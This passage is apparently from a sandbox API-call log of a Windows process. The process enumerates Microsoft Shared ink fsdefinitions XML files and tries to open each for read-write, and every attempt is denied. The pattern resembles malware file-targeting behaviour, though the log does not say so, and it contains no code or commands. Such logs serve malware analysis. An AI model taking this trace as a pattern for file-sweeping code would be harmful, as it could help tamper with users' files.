shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.603] GetLastError () returned 0x5 [0168.603] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0168.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.604] GetLastError () returned 0x5 [0168.604] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0168.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.604] GetLastError () returned 0x5 [0168.604] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0168.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.605] GetLastError () returned 0x5 [0168.605] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0168.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.605] GetLastError () returned 0x5 [0168.606] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0168.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.607] GetLastError () returned 0x5 [0168.607] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0168.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.607] GetLastError () returned 0x5 [0168.607] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0168.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.608] GetLastError () returned 0x5 [0168.608] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0168.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.608] GetLastError () returned 0x5 [0168.608] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0168.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.609] GetLastError () returned 0x5 [0168.609] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0168.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.609] GetLastError () returned 0x5 [0168.609] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0168.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.610] GetLastError () returned 0x5 [0168.610] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0168.610] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.611] GetProcessHeap () returned 0x2ef0000 [0168.611] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.611] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0168.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.611] GetLastError () returned 0x5 [0168.611] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0168.611] GetProcessHeap () returned 0x2ef0000 [0168.611] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa2) returned 0x2f170e8 [0168.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.611] GetProcessHeap () returned 0x2ef0000 [0168.611] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.612] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.612] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0168.612] GetProcessHeap () returned 0x2ef0000 [0168.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a4) returned 0x2f426d8 [0168.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.612] GetLastError () returned 0x5 [0168.612] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0168.612] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.612] GetProcessHeap () returned 0x2ef0000 [0168.612] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.612] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0168.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.746] GetLastError () returned 0x5 [0168.746] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0168.746] GetProcessHeap () returned 0x2ef0000 [0168.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa2) returned 0x2f170e8 [0168.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.747] GetProcessHeap () returned 0x2ef0000 [0168.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.747] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.747] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0168.747] GetProcessHeap () returned 0x2ef0000 [0168.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a4) returned 0x2f426d8 [0168.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.748] GetLastError () returned 0x5 [0168.748] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0168.748] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.748] GetProcessHeap () returned 0x2ef0000 [0168.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.748] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0168.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.749] GetLastError () returned 0x5 [0168.749] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0168.749] GetProcessHeap () returned 0x2ef0000 [0168.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa6) returned 0x2f170e8 [0168.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.749] GetProcessHeap () returned 0x2ef0000 [0168.749] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.749] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.749] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0168.749] GetProcessHeap () returned 0x2ef0000 [0168.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a8) returned 0x2f426d8 [0168.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.750] GetLastError () returned 0x5 [0168.750] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, 